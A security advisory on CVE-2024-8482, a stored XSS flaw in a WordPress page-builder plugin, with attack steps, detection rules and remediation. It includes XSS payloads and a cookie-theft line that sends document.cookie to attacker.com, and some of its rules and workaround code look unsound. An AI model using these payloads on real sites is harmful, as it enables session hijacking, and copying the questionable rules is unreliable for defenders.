CVE-2024-8482

Executive Summary

CVE-2024-8482 is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Elementor Addons and Templates plugin for WordPress, affecting all versions up to and including 1.3.982. The flaw resides in insufficient sanitization of the url parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a victim (including administrators) accesses a page containing the malicious payload, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely used page builder plugin, and the stored nature of the XSS means the payload persists across sessions. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet provided a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor the plugin’s changelog and update to a patched version as soon as it becomes available. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs Contributor-level access.
• User Interaction: Required (UI:R) – Victim must visit the injected page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can lead to privilege escalation if an administrator visits the page.

Deep Dive & Mechanics

The vulnerability exists in the url parameter of the Royal Elementor Addons plugin. When a user with Contributor-level access or higher creates or edits a page using the plugin’s widgets, the url parameter is not properly sanitized before being stored in the database. The plugin fails to escape the output when rendering the URL in the frontend, allowing an attacker to inject JavaScript code.

Attack Flow:

1. An authenticated attacker with Contributor-level access creates a new page or edits an existing one using a vulnerable widget (e.g., a button or link element).
2. The attacker sets the url parameter to a malicious payload, such as javascript:alert(document.cookie) or a crafted event handler like " onmouseover="alert(1).
3. The payload is stored in the WordPress database without proper sanitization.
4. When any user (including administrators) visits the page, the injected script executes in their browser.
5. The attacker can then steal session cookies, redirect users to malicious sites, or perform actions on behalf of the victim.

The root cause is insufficient input validation and output escaping. The plugin likely uses esc_url() or similar functions incorrectly, or fails to apply them to the url parameter before rendering.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes for XSS vulnerabilities.

Vulnerable Code (Example):

// In a widget render method
$url = $settings['url'];
echo '<a href="' . $url . '">Click here</a>';

Patched Code (Example):

// Properly escape the URL
$url = esc_url( $settings['url'] );
echo '<a href="' . $url . '">Click here</a>';

The patched version uses esc_url() to strip dangerous protocols like javascript: and encode special characters. Additionally, output escaping with esc_attr() for HTML attributes is recommended.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Royal Elementor Addons <= 1.3.982 installed.
• Authenticated user account with Contributor-level privileges or higher.

Exploitation Steps:

1. Log in to the WordPress admin panel.
2. Navigate to Pages > Add New.
3. Add a Royal Elementor widget that accepts a URL parameter (e.g., a button widget).
4. In the URL field, enter a malicious payload such as:

   javascript:alert('XSS')
   

   or a more sophisticated payload:

   " onfocus="alert(1)" autofocus="true
   

5. Publish or update the page.
6. Send the page link to a victim (e.g., an administrator).
7. When the victim visits the page, the script executes.

Example Payload for Cookie Theft:

" onmouseover="document.location='http://attacker.com/steal.php?cookie='+document.cookie

Blue Team (Defender)

Detection Steps:

1. Monitor WordPress logs for unusual page edits by Contributor-level users.
2. Use a Web Application Firewall (WAF) to block requests containing javascript: or event handlers in URL parameters.
3. Regularly scan the WordPress database for suspicious entries in the post_content or post_meta tables.
4. Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Lab Setup:

• Use a local WordPress installation with the vulnerable plugin.
• Install a security plugin like Wordfence to monitor for XSS attempts.
• Simulate an attack using the steps above and verify detection via logs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing javascript: or on*= in URL parameters.
  • Outbound connections to attacker-controlled domains from the WordPress server.
• Host IOCs:
  • Suspicious entries in the wp_posts table with post_content containing <script> tags or event handlers.
  • Modified .htaccess files or injected JavaScript in theme files.
• File IOCs:
  • Unexpected files in wp-content/uploads/ or wp-content/plugins/royal-elementor-addons/.

Detection Engineering

YARA Rule

rule CVE_2024_8482_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress posts related to CVE-2024-8482"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8482"
    strings:
        $xss1 = /<[^>]*\s+on\w+\s*=\s*['"][^'"]*['"]/i
        $xss2 = /javascript\s*:/i
        $xss3 = /<script[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-8482 Stored XSS in Royal Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts via the url parameter in Royal Elementor Addons
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'royal-elementor-addons'
        cs-uri-query|contains|all:
            - 'url='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: URLs in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-8482 Stored XSS in Royal Elementor Addons";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"royal-elementor-addons"; http_uri;
    content:"url="; http_client_body;
    pcre:"/javascript\s*:/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-8482;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict Contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
4. Enable Content Security Policy (CSP) headers to prevent inline script execution.

Long-term Fix:

• Monitor the plugin’s official page for updates and apply the patch as soon as it becomes available.
• Consider switching to an alternative Elementor addons plugin that is actively maintained.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.
• Manually sanitize the url parameter by adding a filter in the theme’s functions.php:

  add_filter( 'royal_elementor_addons_url', 'esc_url' );
  

Valters IT
Securing Digital Frontiers